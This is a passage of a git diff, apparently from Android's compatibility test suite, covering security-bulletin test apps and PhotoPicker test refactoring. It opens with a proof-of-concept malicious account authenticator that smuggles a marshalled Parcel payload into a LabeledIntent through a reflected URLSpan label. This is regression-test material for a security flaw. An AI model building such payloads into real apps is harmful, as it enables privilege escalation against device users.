+ payload.appendFrom(optionPayload, 0 /* offset */, optionPayload.dataSize());
+
+ SpannableString spannableString =
+ new SpannableString(getString(R.string.spannableString));
+ spannableString.setSpan(
+ new URLSpan(new String(payload.marshall(), StandardCharsets.UTF_16LE)),
+ 0 /* start */,
+ 0 /* end */,
+ 0 /* flags */);
+
+ // Setting labeledIntent using refelection
+ Field nonLocalizedLabelField =
+ LabeledIntent.class.getDeclaredField(getString(R.string.fieldName));
+ nonLocalizedLabelField.setAccessible(true);
+ nonLocalizedLabelField.set(labeledIntent, spannableString);
+
+ Bundle result = new Bundle();
+ result.putParcelable(AccountManager.KEY_INTENT, labeledIntent);
+ return result;
+ } catch (Exception ignored) {
+ // Ignore any exceptions
+ }
+ return null;
+ }
+
+ @Override
+ public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+ return createResultBundle();
+ }
+
+ @Override
+ public Bundle addAccount(
+ AccountAuthenticatorResponse response,
+ String accountType,
+ String authTokenType,
+ String[] requiredFeatures,
+ Bundle options)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+
+ @Override
+ public Bundle confirmCredentials(
+ AccountAuthenticatorResponse response, Account account, Bundle options)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+
+ @Override
+ public Bundle getAuthToken(
+ AccountAuthenticatorResponse response,
+ Account account,
+ String authTokenType,
+ Bundle options)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+
+ @Override
+ public String getAuthTokenLabel(String authTokenType) {
+ return "mockAuthTokenLabel";
+ }
+
+ @Override
+ public Bundle updateCredentials(
+ AccountAuthenticatorResponse response,
+ Account account,
+ String authTokenType,
+ Bundle options)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+
+ @Override
+ public Bundle hasFeatures(
+ AccountAuthenticatorResponse response, Account account, String[] features)
+ throws NetworkErrorException {
+ return createResultBundle();
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40120/src/android/security/cts/CVE_2023_40120/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-40120/src/android/security/cts/CVE_2023_40120/DeviceTest.java
index c399df5708d..c0c1ce514df 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2023-40120/src/android/security/cts/CVE_2023_40120/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40120/src/android/security/cts/CVE_2023_40120/DeviceTest.java
@@ -25,8 +25,6 @@ import static com.android.sts.common.SystemUtil.poll;
import static com.google.common.truth.Truth.assertWithMessage;
import static com.google.common.truth.TruthJUnit.assume;
-import static org.junit.Assume.assumeNoException;
-
import android.app.Instrumentation;
import android.app.Notification;
import android.app.NotificationChannel;
@@ -144,7 +142,7 @@ public class DeviceTest {
.that(headerTitleObj == null || headerTitleObj.getText() == null)
.isFalse();
} catch (Exception e) {
- assumeNoException(e);
+ assume().that(e).isNull();
}
}
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java b/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java
index 227b4c6fa16..93a16ee55c7 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/ActionGetContentOnlyTest.java
@@ -16,10 +16,11 @@
package android.photopicker.cts;
-import static android.photopicker.cts.util.GetContentActivityAliasUtils.clearPackageData;
-import static android.photopicker.cts.util.GetContentActivityAliasUtils.getDocumentsUiPackageName;
+import static android.photopicker.cts.util.PhotoPickerComponentUtils.GET_CONTENT_ACTIVITY_COMPONENT;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUriAndPath;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
+import static android.photopicker.cts.util.PhotoPickerPackageUtils.clearPackageData;
+import static android.photopicker.cts.util.PhotoPickerPackageUtils.getDocumentsUiPackageName;
import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findAndClickBrowse;
@@ -31,7 +32,7 @@ import static com.google.common.truth.Truth.assertWithMessage;
import android.content.ClipData;
import android.content.Intent;
import android.net.Uri;
-import android.photopicker.cts.util.GetContentActivityAliasUtils;
+import android.photopicker.cts.util.PhotoPickerComponentUtils;
import android.photopicker.cts.util.UiAssertionUtils;
import android.util.Pair;
@@ -71,7 +72,8 @@ public class ActionGetContentOnlyTest extends PhotoPickerBaseTest {
mActivity.finish();
}
- GetContentActivityAliasUtils.restoreState(sGetContentTakeOverActivityAliasState);
+ PhotoPickerComponentUtils.setState(GET_CONTENT_ACTIVITY_COMPONENT,
+ sGetContentTakeOverActivityAliasState);
}
@Before
@@ -79,7 +81,8 @@ public class ActionGetContentOnlyTest extends PhotoPickerBaseTest {
super.setUp();
sDocumentsUiPackageName = getDocumentsUiPackageName();
- sGetContentTakeOverActivityAliasState = GetContentActivityAliasUtils.enableAndGetOldState();
+ sGetContentTakeOverActivityAliasState = PhotoPickerComponentUtils
+ .enableAndGetOldState(GET_CONTENT_ACTIVITY_COMPONENT);
clearPackageData(sDocumentsUiPackageName);
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java b/tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java
index f20b0e88afb..9c5105bcbcc 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java
@@ -48,6 +48,7 @@ import android.photopicker.cts.cloudproviders.CloudProviderPrimary;
import android.photopicker.cts.util.PhotoPickerFilesUtils;
import android.photopicker.cts.util.UiAssertionUtils;
import android.provider.MediaStore;
+import android.util.Log;
import android.util.Pair;
import androidx.annotation.Nullable;
@@ -68,7 +69,7 @@ import java.util.List;
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.UPSIDE_DOWN_CAKE, codeName = "UpsideDownCake")
@RunWith(AndroidJUnit4.class)
public class ActionUserSelectImagesForAppTest extends PhotoPickerBaseTest {
-
+ private static final String TAG = ActionUserSelectImagesForAppTest.class.getSimpleName();
private static boolean sCloudMediaPreviouslyEnabled;
@Nullable
private static String sPreviouslyAllowedCloudProviders;
@@ -83,7 +84,13 @@ public class ActionUserSelectImagesForAppTest extends PhotoPickerBaseTest {
if (sCloudMediaPreviouslyEnabled) {
sPreviouslyAllowedCloudProviders = getAllowedProvidersDeviceConfig();
}
- sPreviouslySetCloudProvider = getCurrentCloudProvider();
+
+ try {
+ sPreviouslySetCloudProvider = getCurrentCloudProvider();
+ } catch (RuntimeException e) {
+ Log.e(TAG, "Could not get previously set cloud provider", e);
+ sPreviouslySetCloudProvider = INVALID_CLOUD_PROVIDER;
+ }
// Override the allowed cloud providers config to enable the banners
// (this is a self-instrumenting test, so "target" package name and "own" package name are
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java
index a0d23e378c0..27cd7fde595 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java
@@ -46,6 +46,7 @@ import android.photopicker.cts.cloudproviders.CloudProviderNoPermission;
import android.photopicker.cts.cloudproviders.CloudProviderPrimary;
import android.photopicker.cts.cloudproviders.CloudProviderSecondary;
import android.provider.MediaStore;
+import android.util.Log;
import android.util.Pair;
import androidx.annotation.Nullable;
@@ -72,6 +73,7 @@ import java.util.List;
@RunWith(AndroidJUnit4.class)
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public class CloudPhotoPickerTest extends PhotoPickerBaseTest {
+ private static final String TAG = CloudPhotoPickerTest.class.getSimpleName();
private final List<Uri> mUriList = new ArrayList<>();
private MediaGenerator mCloudPrimaryMediaGenerator;
private MediaGenerator mCloudSecondaryMediaGenerator;
@@ -95,7 +97,13 @@ public class CloudPhotoPickerTest extends PhotoPickerBaseTest {
if (sCloudMediaPreviouslyEnabled) {
sPreviouslyAllowedCloudProviders = getAllowedProvidersDeviceConfig();
}
- sPreviouslySetCloudProvider = getCurrentCloudProvider();
+
+ try {
+ sPreviouslySetCloudProvider = getCurrentCloudProvider();
+ } catch (RuntimeException e) {
+ Log.e(TAG, "Could not get previously set cloud provider", e);
+ sPreviouslySetCloudProvider = INVALID_CLOUD_PROVIDER;
+ }
// This is a self-instrumentation test, so both "target" package name and "own" package name
// should be the same (android.photopicker.cts).
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBannersTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBannersTest.java
index fd67cffc945..8832209b687 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBannersTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBannersTest.java
@@ -42,6 +42,7 @@ import android.content.Intent;
import android.net.Uri;
import android.os.Build;
import android.photopicker.cts.cloudproviders.CloudProviderPrimary;
+import android.util.Log;
import androidx.annotation.Nullable;
import androidx.test.filters.SdkSuppress;
@@ -63,7 +64,7 @@ import java.io.IOException;
// We currently can't do this in R.
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public class PhotoPickerBannersTest extends PhotoPickerBaseTest {
-
+ private static final String TAG = PhotoPickerBannersTest.class.getSimpleName();
private static boolean sCloudMediaPreviouslyEnabled;
private static String sPreviouslyAllowedCloudProviders;
@Nullable
@@ -77,7 +78,13 @@ public class PhotoPickerBannersTest extends PhotoPickerBaseTest {
if (sCloudMediaPreviouslyEnabled) {
sPreviouslyAllowedCloudProviders = getAllowedProvidersDeviceConfig();
}
- sPreviouslySetCloudProvider = getCurrentCloudProvider();
+
+ try {
+ sPreviouslySetCloudProvider = getCurrentCloudProvider();
+ } catch (RuntimeException e) {
+ Log.e(TAG, "Could not get previously set cloud provider", e);
+ sPreviouslySetCloudProvider = INVALID_CLOUD_PROVIDER;
+ }
// Override the allowed cloud providers config to enable the banners.
enableCloudMediaAndSetAllowedCloudProviders(sTargetPackageName);
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
index afc33e11c7d..d8d437e51d7 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
@@ -23,6 +23,7 @@ import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.UserHandle;
+import android.text.TextUtils;
import android.util.Log;
import androidx.annotation.Nullable;
@@ -41,9 +42,10 @@ import java.io.IOException;
public class PhotoPickerBaseTest {
private static final String TAG = "PhotoPickerBaseTest";
public static int REQUEST_CODE = 42;
+ protected static final String INVALID_CLOUD_PROVIDER = "Invalid";
private static final Instrumentation sInstrumentation =
InstrumentationRegistry.getInstrumentation();
- protected static final String sTargetPackageName =
+ public static final String sTargetPackageName =
sInstrumentation.getTargetContext().getPackageName();
protected static final UiDevice sDevice = UiDevice.getInstance(sInstrumentation);
@@ -90,6 +92,11 @@ public class PhotoPickerBaseTest {
}
protected static void setCloudProvider(@Nullable String authority) throws Exception {
+ if (INVALID_CLOUD_PROVIDER.equals(authority)) {
+ Log.w(TAG, "Cloud provider is invalid. "
+ + "Ignoring the request to set the cloud provider to invalid");
+ return;
+ }
if (authority == null) {
sDevice.executeShellCommand(
"content call"
@@ -116,11 +123,11 @@ public class PhotoPickerBaseTest {
}
private static String extractCloudProvider(String out) {
- if (out == null) {
- Log.d(TAG, "Failed request to get current cloud provider");
- return null;
+ String[] splitOutput;
+ if (TextUtils.isEmpty(out) || ((splitOutput = out.split("=")).length < 2)) {
+ throw new RuntimeException("Could not get current cloud provider. Output: " + out);
}
- String cloudprovider = (out.split("=")[1]);
+ String cloudprovider = splitOutput[1];
cloudprovider = cloudprovider.substring(0, cloudprovider.length() - 3);
if (cloudprovider.equals("null")) {
return null;
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java
index 08639ae26e8..4fe09650771 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java
@@ -22,20 +22,27 @@ import static android.photopicker.cts.PhotoPickerCloudUtils.getAllowedProvidersD
import static android.photopicker.cts.PhotoPickerCloudUtils.isCloudMediaEnabled;
import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME;
import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
+import static android.photopicker.cts.util.PhotoPickerComponentUtils.PICKER_SETTINGS_ACTIVITY_COMPONENT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.isPhotoPickerVisible;
import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsActionBarIsVisible;
import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsActivityIsVisible;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsCloudProviderOptionIsVisible;
import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsDescriptionIsVisible;
import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsFragmentContainerExists;
import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsTitleIsVisible;
import static com.google.common.truth.Truth.assertWithMessage;
+import android.content.ActivityNotFoundException;
import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
import android.os.Build;
import android.os.UserHandle;
+import android.photopicker.cts.util.PhotoPickerComponentUtils;
import android.photopicker.cts.util.PhotoPickerUiUtils;
import android.provider.MediaStore;
+import android.util.Log;
import androidx.annotation.NonNull;
import androidx.test.filters.LargeTest;
@@ -46,24 +53,20 @@ import androidx.test.uiautomator.UiSelector;
import com.android.bedstead.harrier.BedsteadJUnit4;
import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
+import com.android.modules.utils.build.SdkLevel;
import org.junit.After;
-import org.junit.AfterClass;
import org.junit.Assume;
-import org.junit.BeforeClass;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
/**
- * Photo Picker tests for settings page launched from the overflow menu in PhotoPickerActivity or
- * the Settings app.
+ * Photo Picker tests for settings activity launched from PhotoPickerActivity or intent.
*/
-// TODO(b/195009187): Enabling settings page requires setting allowed_cloud_providers device config.
-// We currently can't do this in R.
@RunWith(BedsteadJUnit4.class)
-@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public class PhotoPickerSettingsTest extends PhotoPickerBaseTest {
-
+ private static final String TAG = PhotoPickerSettingsTest.class.getSimpleName();
private static boolean sCloudMediaPreviouslyEnabled;
private static String sPreviouslyAllowedCloudProviders;
private static final String EXTRA_TAB_USER_ID = "user_id";
@@ -72,39 +75,57 @@ public class PhotoPickerSettingsTest extends PhotoPickerBaseTest {
private static final String TAB_LAYOUT_RESOURCE_ID = REGEX_PACKAGE_NAME + ":id/tabs";
private static final String PERSONAL_TAB_TITLE_ENGLISH = "Personal";
private static final String WORK_TAB_TITLE_ENGLISH = "Work";
-
- @BeforeClass
- public static void setUpBeforeClass() {
- // Store the current CMP configs, so that we can reset them at the end of the test.
- sCloudMediaPreviouslyEnabled = isCloudMediaEnabled();
- if (sCloudMediaPreviouslyEnabled) {
- sPreviouslyAllowedCloudProviders = getAllowedProvidersDeviceConfig();
- }
-
- // Enable Settings menu item in PhotoPickerActivity's overflow menu.
- PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders(
- /* allowedCloudProviders */ sTargetPackageName);
- }
-
- @AfterClass
- public static void tearDownClass() {
- // Reset CloudMedia configs.
- if (sCloudMediaPreviouslyEnabled) {
- enableCloudMediaAndSetAllowedCloudProviders(sPreviouslyAllowedCloudProviders);
- } else {
- disableCloudMediaAndClearAllowedCloudProviders();
+ private static final String DEFAULT_APP_LABEL = "Photo Picker Device Tests";
+ private static int sPhotoPickerSettingsActivityState;
+ private Intent mSettingsIntent;
+
+ @Before
+ public void setUp() throws Exception {
+ super.setUp();
+
+ sPhotoPickerSettingsActivityState = PhotoPickerComponentUtils
+ .enableAndGetOldState(PICKER_SETTINGS_ACTIVITY_COMPONENT);
+
+ mSettingsIntent = new Intent(MediaStore.ACTION_PICK_IMAGES_SETTINGS);
+
+ // Only enable cloud media in S+ because R cannot use Device Config APIs.
+ if (SdkLevel.isAtLeastS()) {
+ // Store the current CMP configs, so that we can reset them at the end of the test.
+ sCloudMediaPreviouslyEnabled = isCloudMediaEnabled();
+ if (sCloudMediaPreviouslyEnabled) {
+ sPreviouslyAllowedCloudProviders = getAllowedProvidersDeviceConfig();
+ }
+
+ // Enable Settings menu item in PhotoPickerActivity's overflow menu.
+ PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders(
+ /* allowedCloudProviders */ sTargetPackageName);
}
}
@After
- public void tearDown() {
+ public void tearDown() throws Exception {
if (mActivity != null) {
mActivity.finish();
}
+
+ PhotoPickerComponentUtils.setState(PICKER_SETTINGS_ACTIVITY_COMPONENT,
+ sPhotoPickerSettingsActivityState);
+
+ // Reset CloudMedia configs.
+ if (SdkLevel.isAtLeastS()) {
+ if (sCloudMediaPreviouslyEnabled) {
+ enableCloudMediaAndSetAllowedCloudProviders(sPreviouslyAllowedCloudProviders);
+ } else {
+ disableCloudMediaAndClearAllowedCloudProviders();
+ }
+ }
}
@Test
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testSettingsLaunchFromOverflowMenu_WorkDisabled() throws Exception {
+ String cmpAppLabel = getCmpAppLabel();
+
// Launch PhotoPickerActivity.
final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
mActivity.startActivityForResult(intent, REQUEST_CODE);
@@ -121,6 +142,7 @@ public class PhotoPickerSettingsTest extends PhotoPickerBaseTest {
verifySettingsTitleIsVisible();
verifySettingsDescriptionIsVisible();
verifySettingsFragmentContainerExists();
+ verifySettingsCloudProviderOptionIsVisible(cmpAppLabel);
// Verify Tab container (to switch profiles) is not visible since Work profile is disabled.
verifySettingsTabContainerIsNotVisible();
@@ -129,11 +151,9 @@ public class PhotoPickerSettingsTest extends PhotoPickerBaseTest {
@Test
@LargeTest
@RequireRunOnWorkProfile
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testSettingsLaunchedInPersonalProfile_WorkEnabled() throws Exception {
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES_SETTINGS);
-
- mActivity.startActivityForResult(intent, REQUEST_CODE);
- sDevice.waitForIdle();
+ launchSettingsActivityWithRetry(/* retryCount */ 3, /* backoffSeedInMillis */ 500);
verifySettingsActivityIsVisible();
verifySettingsTabContainerIsVisible();
@@ -144,12 +164,10 @@ public class PhotoPickerSettingsTest extends PhotoPickerBaseTest {
@Test
@LargeTest
@RequireRunOnWorkProfile
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testSettingsLaunchedInWorkProfile() throws Exception {
- final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES_SETTINGS);
- intent.putExtra(EXTRA_TAB_USER_ID, UserHandle.myUserId());
-
- mActivity.startActivityForResult(intent, REQUEST_CODE);
- sDevice.waitForIdle();
+ mSettingsIntent.putExtra(EXTRA_TAB_USER_ID, UserHandle.myUserId());
+ launchSettingsActivityWithRetry(/* retryCount */ 3, /* backoffSeedInMillis */ 500);
verifySettingsActivityIsVisible();
verifySettingsTabContainerIsVisible();
@@ -179,4 +197,57 @@ public class PhotoPickerSettingsTest extends PhotoPickerBaseTest {
private static UiObject findObject(@NonNull String resourceId) {
return sDevice.findObject(new UiSelector().resourceIdMatches(resourceId));
}
+
+ @Test
+ // This test is required for API coverage in Android R
+ public void testSettingsLaunchFromIntent() throws InterruptedException {
+ // Launch PhotoPickerSettingsActivity.
+ launchSettingsActivityWithRetry(/* retryCount */ 3, /* backoffSeedInMillis */ 500);
+
+ // Verify PhotoPickerSettingsActivity is launched and visible.
+ verifySettingsActivityIsVisible();
+ verifySettingsActionBarIsVisible();
+ verifySettingsTitleIsVisible();
+ verifySettingsDescriptionIsVisible();
+ verifySettingsFragmentContainerExists();
+ }
+
+
+ private void launchSettingsActivityWithRetry(long maxRetries, long backoffSeedInMillis)
+ throws InterruptedException {
+ for (int attempt = 0; attempt <= maxRetries; attempt++) {
+ if (attempt > 0) {
+ // If the Settings Activity component has been recently enabled, it may take some
+ // time for the resolver to resolve the intent to the right activity.
+ long backoffTimeInMillis = backoffSeedInMillis * (2 ^ (attempt - 1));
+ Log.e(TAG, "Retry launching activity for " + mSettingsIntent
+ + " after backoff " + backoffTimeInMillis);
+ Thread.sleep(backoffTimeInMillis);
+ }
+
+ try {
+ mActivity.startActivity(mSettingsIntent);
+ sDevice.waitForIdle();
+ return;
+ } catch (ActivityNotFoundException e) {
+ Log.e(TAG, "Activity not found for intent " + mSettingsIntent);
+ }
+ }
+
+ Log.e(TAG, "Intent " + mSettingsIntent + " does not resolve to any component.");
+ throw new AssertionError("Cannot find activity for intent " + mSettingsIntent);
+ }
+
+ @NonNull
+ private String getCmpAppLabel() {
+ PackageManager pm = mContext.getPackageManager();
+ {
+ try {
+ ApplicationInfo applicationInfo = pm.getApplicationInfo(sTargetPackageName, 0);
+ return (String) pm.getApplicationLabel(applicationInfo);
+ } catch (PackageManager.NameNotFoundException e) {
+ return DEFAULT_APP_LABEL;
+ }
+ }
+ }
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
index 293cbacd05c..3d7e6f19281 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
@@ -16,8 +16,7 @@
package android.photopicker.cts;
-import static android.photopicker.cts.util.GetContentActivityAliasUtils.clearPackageData;
-import static android.photopicker.cts.util.GetContentActivityAliasUtils.getDocumentsUiPackageName;
+import static android.photopicker.cts.util.PhotoPickerComponentUtils.GET_CONTENT_ACTIVITY_COMPONENT;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImageWithUnknownMimeType;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createMj2VideosAndGetUris;
@@ -26,6 +25,8 @@ import static android.photopicker.cts.util.PhotoPickerFilesUtils.createSvgImage;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideoWithUnknownMimeType;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideosAndGetUris;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
+import static android.photopicker.cts.util.PhotoPickerPackageUtils.clearPackageData;
+import static android.photopicker.cts.util.PhotoPickerPackageUtils.getDocumentsUiPackageName;
import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME;
import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait;
@@ -49,7 +50,7 @@ import android.media.AudioAttributes;
import android.media.AudioFocusRequest;
import android.media.AudioManager;
import android.net.Uri;
-import android.photopicker.cts.util.GetContentActivityAliasUtils;
+import android.photopicker.cts.util.PhotoPickerComponentUtils;
import android.provider.MediaStore;
import androidx.test.uiautomator.UiObject;
@@ -92,7 +93,8 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
public void setUp() throws Exception {
super.setUp();
- sGetContentTakeOverActivityAliasState = GetContentActivityAliasUtils.enableAndGetOldState();
+ sGetContentTakeOverActivityAliasState = PhotoPickerComponentUtils
+ .enableAndGetOldState(GET_CONTENT_ACTIVITY_COMPONENT);
clearPackageData(getDocumentsUiPackageName());
}
@@ -107,7 +109,8 @@ public class PhotoPickerTest extends PhotoPickerBaseTest {
mActivity.finish();
}
- GetContentActivityAliasUtils.restoreState(sGetContentTakeOverActivityAliasState);
+ PhotoPickerComponentUtils.setState(GET_CONTENT_ACTIVITY_COMPONENT,
+ sGetContentTakeOverActivityAliasState);
}
@Test
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java b/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
index 48c4a1dabfa..fa72b74ace1 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
@@ -47,6 +47,7 @@ import android.photopicker.cts.PickerProviderMediaGenerator.MediaGenerator;
import android.photopicker.cts.cloudproviders.CloudProviderPrimary;
import android.photopicker.cts.cloudproviders.CloudProviderPrimary.CloudMediaSurfaceControllerImpl;
import android.provider.MediaStore;
+import android.util.Log;
import android.util.Pair;
import androidx.annotation.Nullable;
@@ -77,7 +78,7 @@ import java.util.List;
@RunWith(AndroidJUnit4.class)
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public class RemoteVideoPreviewTest extends PhotoPickerBaseTest {
-
+ private static final String TAG = RemoteVideoPreviewTest.class.getSimpleName();
private MediaGenerator mCloudPrimaryMediaGenerator;
private final List<Uri> mUriList = new ArrayList<>();
@@ -104,7 +105,13 @@ public class RemoteVideoPreviewTest extends PhotoPickerBaseTest {
if (sCloudMediaPreviouslyEnabled) {
sPreviouslyAllowedCloudProviders = getAllowedProvidersDeviceConfig();
}
- sPreviouslySetCloudProvider = getCurrentCloudProvider();
+
+ try {
+ sPreviouslySetCloudProvider = getCurrentCloudProvider();
+ } catch (RuntimeException e) {
+ Log.e(TAG, "Could not get previously set cloud provider", e);
+ sPreviouslySetCloudProvider = INVALID_CLOUD_PROVIDER;
+ }
// This is a self-instrumentation test, so both "target" package name and "own" package name
// should be the same (android.photopicker.cts).
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/GetContentActivityAliasUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerComponentUtils.java
index a2b4a21c0ae..9a260526776 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/GetContentActivityAliasUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerComponentUtils.java
@@ -16,88 +16,89 @@
package android.photopicker.cts.util;
-import static android.provider.MediaStore.ACTION_PICK_IMAGES;
+import static android.photopicker.cts.util.PhotoPickerPackageUtils.getPhotoPickerPackageName;
import android.Manifest;
import android.app.Instrumentation;
import android.content.ComponentName;
-import android.content.Intent;
import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
import androidx.annotation.NonNull;
-import androidx.test.InstrumentationRegistry;
+import androidx.test.platform.app.InstrumentationRegistry;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
import java.util.function.Supplier;
-public class GetContentActivityAliasUtils {
+/**
+ * Util methods for Photo Picker related components.
+ */
+public class PhotoPickerComponentUtils {
private static final long POLLING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(5);
private static final long POLLING_SLEEP_MILLIS = 100;
- private static ComponentName sComponentName = new ComponentName(
+ public static final ComponentName GET_CONTENT_ACTIVITY_COMPONENT = new ComponentName(
getPhotoPickerPackageName(),
"com.android.providers.media.photopicker.PhotoPickerGetContentActivity");
- public static int enableAndGetOldState() throws Exception {
+ public static final ComponentName PICKER_SETTINGS_ACTIVITY_COMPONENT = new ComponentName(
+ getPhotoPickerPackageName(),
+ "com.android.providers.media.photopicker.PhotoPickerSettingsActivity");
+
+ /**
+ * Returns the current state of the given component and enables it.
+ */
+ public static int enableAndGetOldState(@NonNull ComponentName componentName) throws Exception {
final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
final PackageManager packageManager = inst.getContext().getPackageManager();
if (isComponentEnabledSetAsExpected(packageManager,
+ componentName,
PackageManager.COMPONENT_ENABLED_STATE_ENABLED)) {
return PackageManager.COMPONENT_ENABLED_STATE_ENABLED;
}
- final int currentState = packageManager.getComponentEnabledSetting(sComponentName);
+ final int currentState = packageManager.getComponentEnabledSetting(componentName);
updateComponentEnabledSetting(packageManager,
+ componentName,
PackageManager.COMPONENT_ENABLED_STATE_ENABLED);
return currentState;
}
- public static void restoreState(int oldState) throws Exception {
- final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
- updateComponentEnabledSetting(inst.getContext().getPackageManager(), oldState);
- }
-
/**
- * Clears the package data.
+ * Sets state of the given component to the given state.
*/
- public static void clearPackageData(String packageName) throws Exception {
- InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .executeShellCommand("pm clear " + packageName);
-
- // We should ideally be listening to an effective measure to know if package data was
- // cleared, like listening to a broadcasts or checking a value. But that information is
- // very package private and not available.
- Thread.sleep(500);
- }
-
- public static String getDocumentsUiPackageName() {
- final Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT);
- intent.setType("*/*");
- return getActivityPackageNameFromIntent(intent);
+ public static void setState(@NonNull ComponentName componentName, int oldState)
+ throws Exception {
+ final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+ updateComponentEnabledSetting(inst.getContext().getPackageManager(),
+ componentName, oldState);
}
- private static void updateComponentEnabledSetting(PackageManager packageManager,
+ private static void updateComponentEnabledSetting(
+ @NonNull PackageManager packageManager,
+ @NonNull ComponentName componentName,
